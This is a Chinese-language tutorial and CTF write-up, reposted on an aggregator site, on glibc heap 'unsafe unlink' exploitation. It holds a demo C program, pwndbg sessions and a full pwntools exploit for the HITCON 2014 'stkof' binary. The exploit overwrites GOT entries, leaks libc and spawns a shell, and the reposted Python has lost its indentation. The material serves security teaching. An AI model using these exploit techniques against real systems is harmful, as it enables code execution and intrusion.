码迷,mamicode.com
首页 > 其他好文 > 详细

堆溢出入门0x01 Unsafe unlink

时间:2021-03-16 13:44:37      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:lte   deb   png   存在   保护   ==   绕过   html   开始   

Unlink

演示环境:ubuntu16.04、pwndbg

unlink技术原理参考链接:https://blog.csdn.net/qq_25201379/article/details/81545128;

0x01 漏洞演示

chunk结构体知识:https://www.cnblogs.com/eur1ka/p/14463625.html;

unlink机制:

正常的 unlink 是当我们去 free 一个 chunk 的时候,如果这个 chunk 的前一个或后一个是 free 的状态,glibc 会把它从链表里面取出来,与现在要 free 的这个合并再放进去,取出来的这个过程就是 unlink

wiki 上面的一个示意图,Fd 是前置指针,Bk 是后置指针

技术图片

 ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)我们需要绕过他的检查

检查点如下:

  1. unlink chunk size是否等于next chunk(内存意义上的)的prev_size.
  2. unlink 检查是否P->fd->bk == P 以及 P->bk->fd == P

接下来我们进行一个漏洞演示:

代码如下

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("%p\n", &chunk1);
  printf("%p\n", chunk1);
  printf("%p\n", chunk2);

  // Assuming attacker has control over chunk1‘s contents
  // Overflow the heap, override chunk2‘s header

  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1‘s data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker‘s fake chunk is ‘unlinked‘
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim‘s data
  free(chunk2);
  printf("%p\n", chunk1);
  printf("%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim‘s data");

  // Overwrite victim‘s data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}

gcc编译的时候添加-g参数

$ gcc demo.c -g -o demo

接着我们使用gdb进行调试(此处-q参数为省去一些不必要的信息,该参数可以忽略)

giantbranch@ubuntu:~/Desktop/heap/unlink$ gdb demo -q
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from demo...done.
pwndbg> 

在主函数下断点

pwndbg> b main
Breakpoint 1 at 0x40066e: file demo.c, line 14.

开始执行单步调试至第20行

技术图片

 我们可以看到接下来两行会通过malloc申请两个0x80内存大小的堆空间,并分别将堆块的men地址返回给chunk1和chunk2,并将其打印出来,我们接着执行:

技术图片

 我们可以看待栈空间中存在两个参数0x602010和0x6020a0这就是chunk1和chunk2的值,而其前面的值0x7fff...这些数据就是chunk1和chunk2存放的位置

在函数的第31行我们看到fake_chunk被赋值为chunk1的men,通过强制转换,将其强制转换为一个chunk结构体,通过这样就伪造了一个chunk此时堆空间如图所示:

技术图片

 接着我们看下构造fake_chunk前的堆情况:

技术图片

 接着执行下面几行内容:

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

之后又我们查看堆块:

技术图片

这里可能有点蒙。再细看一下。32行和33行的代码主要是绕过检查点2的。保证P->fd->bk == P 以及 P->bk->fd == P,此时这里的P就是fake_chunk(之后会细解释为什么)。即fake_chunk->fd->bk == fake_chunk 和 fake_chunk->bk->fd == fake_chunk。
看图就知道:
fake_chunk->fd = 0x00007fffffffdf48,并且0x00007fffffffdf48是chunk_structure 结构体
fake_chunk->bk = 0x00007fffffffdf50,并且0x00007fffffffdf50是chunk_structure 结构体

我们来看一下fake_chunk→fd这个结构体:

技术图片

 这样我们绕过了检查点2,接着我们绕过检查点1(覆盖size和pre_size)

此时来分析下面这行代码。这里是chunk2而不是&chunk2。我们知道chunk2的地址是0x6020a0。并且是unsigned
long long类型。即占8字节,所以chunk2-2 = 0x6020a0-16 =
0x602090。并强制转换为chunk_structure结构体。赋值给chunk2_hdr。

接着我们看一下chunk2_hdr结构体:

技术图片

 下面这两句代码是绕过检查点1的。第一行是将chunk_hdr->prev_szie设置为0x80。第二行是将chunk_hdr->size的P位设置位0。这样就会以为上一个堆块是空闲状态并且大小是0x80。

技术图片

 运行后我们查看下改结构体:

技术图片

 

 我们看到我们将P标志位置为0,表面上一个chunk为空闲,如果free改堆块,则会将该堆块与前一个堆块进行合并操作也就是unlink,地址查找方式为当前chunk的mem地址减去当前chunk的prev_size。在本题,即chunk2的地址减去0x80。则是0x6020a0-0x80=0x602020。此时0x602020是fake_chunk2->fd。这样就发生了unlink,我们可以堆chunk1进行操作实现任意内存的读写,就像如下代码一样:

printf("%x\n", chunk1[3]);    
chunk1[3] = (unsigned long long)data;  
strcpy(data, "Victim‘s data");
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;

我们在继续执行前查看下chunk1

技术图片

 我们看到chunk1[3]为chunk1的地址,即chunk1[3]→chunk1

我们继续执行,发现可以通过改变chunk1来改写data的值。

技术图片

 至此演示结束,接下来进入到真实题目中进行实战。

题目示例:

0x02 2014 HITCON stkof

 先看下程序的基本信息

技术图片

接着到IDA看下程序:

技术图片

 

 

 程序没有菜单,(图中是我们更改后的情况)运行的时候程序先让我们输入选项,1,2,3分别是create、edit、delete堆空间,我们接着看下更细节的内容

create函数:

技术图片

 

 

 这这个函数中,我们需要输入我们申请的内存空间,并且程序存在一个全局指针数组,指针指向堆空间的men区域,并且我们知道数组的起始地址位0x602140(由于是先++dword_6021000,所以通过计算可以得到这个地址)

edit函数:

技术图片

 

 

 程序进入该函数后会首先要求你输入需要输入的堆空间大小,此处通过get函数输入到内存中,会发生溢出。

delete函数:

技术图片

 

 

 该函数没有什么特别之处,就是free堆空间

程序还存在一个show函数,但是该函数没有完成

接下来,我们使用gdb进行动态调试

开始时程序会分配两块堆空间,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,其中第一块为fgets缓冲区大小为1024

 技术图片

 

 

 接着我们创建堆块chunk1:0x20,查看堆内存空间

技术图片

 

 

 我们发现有存在一个新的缓冲区:printf缓冲区,之后我们再申请堆内存空间就是连续的了

紧接着我们再申请更多的内存空间chunk2(0x30)、chunk3(0x80),chunk3申请的区域不要再fastbin中,之后需要对其进行free操作,不在fastbin的堆块不会向前合并。

申请后我们查看下全局指针数组的数据:

pwndbg> x/10gx 0x602140
0x602140:    0x0000000000000000    0x0000000000e05420
0x602150:    0x0000000000e05850    0x0000000000e05870
0x602160:    0x0000000000000000    0x0000000000000000
0x602170:    0x0000000000000000    0x0000000000000000
0x602180:    0x0000000000000000    0x0000000000000000
pwndbg> heap
0xe05000 PREV_INUSE {
  prev_size = 0, 
  size = 1041, 
  fd = 0xa30387830, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0xe05410 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x411
}
0xe05430 PREV_INUSE {
  prev_size = 0, 
  size = 1041, 
  fd = 0xa4b4f, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0xe05840 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0xe05860 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20781
}
0xe05880 PREV_INUSE {
  prev_size = 0, 
  size = 132993, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

此时我们需要再chunk2构造fake_chunk来覆盖掉chunk3的首部,此时存放chunk2的指针位于global[2]则,

target=0x602140+0x10
fd = target - 0x18
bk = target - 0x10
payload1 = p64(0) + p64(0x30) + p64(fd) + p64(bk) + "a"*0x10 + p64(0x30) + p64(0x90)
edit(2,payload1)

接着我们gdb附加上去查看edit后的内存

技术图片

 

 

 我们看到了我们伪造的chunk,并且修改了标志位,所以我们再free(chunk3)时,chunk3会和我们的fake_chunk合并,接着执行

delete(3)
pause()
pwndbg> x/10gx 0x602140
0x602140: 0x0000000000000000 0x0000000001d8e020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000

我们在free吊chunk3后我们伪造的chunk和chunk3发生了合并,此时我们可以通过chunk2造成任意地址的改写,我们可以通过edit(chunk2)来进行改写global指针数组

free_got = elf.got["free"]
puts_got = elf.got["puts"]
atoi_got = elf.got["atoi"]
puts_plt = elf.plt["puts"]
payload = a * 8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload), payload)
p.recvuntil("OK")
pwndbg> x/10gx 0x602140-0x100x602130: 0x0000000000000000 0x6161616161616161
0x602140: 0x0000000000602018 0x0000000000602020
0x602150: 0x0000000000602088 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

这样我们使得global[0]指向free函数,global[1]指向put函数,global[2]指向atio函数,我们可以通过edit(0)改变free函数,使其变为puts函数,并且输出puts函数的地址,再通过libc算出system函数的地址:

payload2 = p64(puts_plt)
edit(0, len(payload2), payload2)
time.sleep(1)
p.recvuntil("OK")
delete(1)
p.recvuntil("FAIL\n")
puts_addr = u64(p.recv(6) + \x00\x00)
print("puts address : 0x%x" % puts_addr)

技术图片

 

 这样我们泄露出了puts函数的地址,再次算出system的地址,接着我们通过edit(chunk3)来改写atio函数的地址为system的地址,

system_addr = libc_addr + libc.symbols["system"]
binsh = libc_addr + libc.search("/bin/sh").next()
log.info("Changing atoi@got --> system@got...")
payload3 = p64(system_addr)
edit(2, len(payload3) + 1, payload3)

接着我们回到循环,输入bin/sh即可完成getshell,完整的exp如下:


from pwn import *
import time


#context(log_level="DEBUG")
def create(size):
sh.sendline("1")
time.sleep(1)
sh.sendline(str(size))


def edit(index, length, content):
sh.sendline("2")
time.sleep(1)
sh.sendline(str(index))
time.sleep(1)
sh.sendline(str(length))
time.sleep(1)
sh.sendline(content)


def delete(index):
sh.sendline("3")
time.sleep(1)
sh.sendline(str(index))


libc = ELF("./libc.so.6")
elf = ELF("./stkof")
sh = process("./stkof")
print "pid" + str(proc.pidof(sh))
log.info("Creating chunk1, avoid stdout‘s buffer.")
create(0x100)
sh.recvuntil("OK")
time.sleep(1)


log.info("Creating chunk2...")
create(0x30)
sh.recvuntil("OK")
time.sleep(1)


log.info("Creating chunk3...")
create(0x80)
sh.recvuntil("OK")
time.sleep(1)


log.info("Creating fake chunk...")
payload = p64(0) + p64(0x30) + p64(0x602140 + 16 - 0x18) + p64(0x602140 + 16 - 0x10) + ‘a‘ * 0x10 + p64(0x30) + p64(0x90)
edit(2, len(payload), payload)
sh.recvuntil("OK")
time.sleep(1)


log.info("Now we have fake chunks, just free chunk3 to change global pointer...")
delete(3)
sh.recvuntil("OK")
time.sleep(1)
log.success("Global pointer has been changed!")
time.sleep(1)


log.info("Finding address in program...")
free_got = elf.got["free"]
puts_got = elf.got["puts"]
atoi_got = elf.got["atoi"]
puts_plt = elf.plt["puts"]
time.sleep(1)
log.success("free@got : 0x%x" % free_got)
log.success("puts@got : 0x%x" % puts_got)
log.success("atoi@got : 0x%x" % atoi_got)
log.success("puts@plt : 0x%x" % puts_plt)
time.sleep(1)


log.info("Overwriting global pointers...")
payload = ‘a‘ * 8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload), payload)
sh.recvuntil("OK")
log.success("Complete!")
time.sleep(1)


log.info("Changing free@got --> puts@plt...")
payload2 = p64(puts_plt)
edit(0, len(payload2), payload2)
time.sleep(1)
sh.recvuntil("OK")


log.info("Leaking address...")
delete(1)
sh.recvuntil("FAIL\n")
puts_addr = u64(sh.recv(6) + ‘\x00\x00‘)
print("puts address : 0x%x" % puts_addr)


time.sleep(1)
sh.recvuntil("OK")


log.info("Finding offset in libc...")
time.sleep(1)
puts_offset = libc.symbols["puts"]
log.success("atoi offset: 0x%x" % puts_offset)
time.sleep(1)
log.info("Calculating libc address...")
time.sleep(1)
libc_addr = puts_addr - puts_offset
log.success("Libc address: 0x%x" % libc_addr)
log.info("Calculating system & /bin/sh address...")
system_addr = libc_addr + libc.symbols["system"]
binsh = libc_addr + libc.search("/bin/sh").next()
log.success("system address: 0x%x" % system_addr)
log.success("/bin/sh address: 0x%x" % binsh)
time.sleep(1)
log.info("Changing atoi@got --> system@got...")
payload3 = p64(system_addr)
edit(2, len(payload3) + 1, payload3)
time.sleep(1)
sh.recvuntil("OK")


log.info("Now atoi@got is system@got, so just pass the string ‘/bin/sh‘ to atoi")
log.info("Actually we called system(‘/bin/sh‘) !")
time.sleep(1)
pause()
sh.send(p64(binsh))
log.info("Ready in 5 seconds...")
log.success("PWN!!")
sh.sendline("1s")
sh.interactive()

 

堆溢出入门0x01 Unsafe unlink

标签:lte   deb   png   存在   保护   ==   绕过   html   开始   

原文地址:https://www.cnblogs.com/eur1ka/p/14518287.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!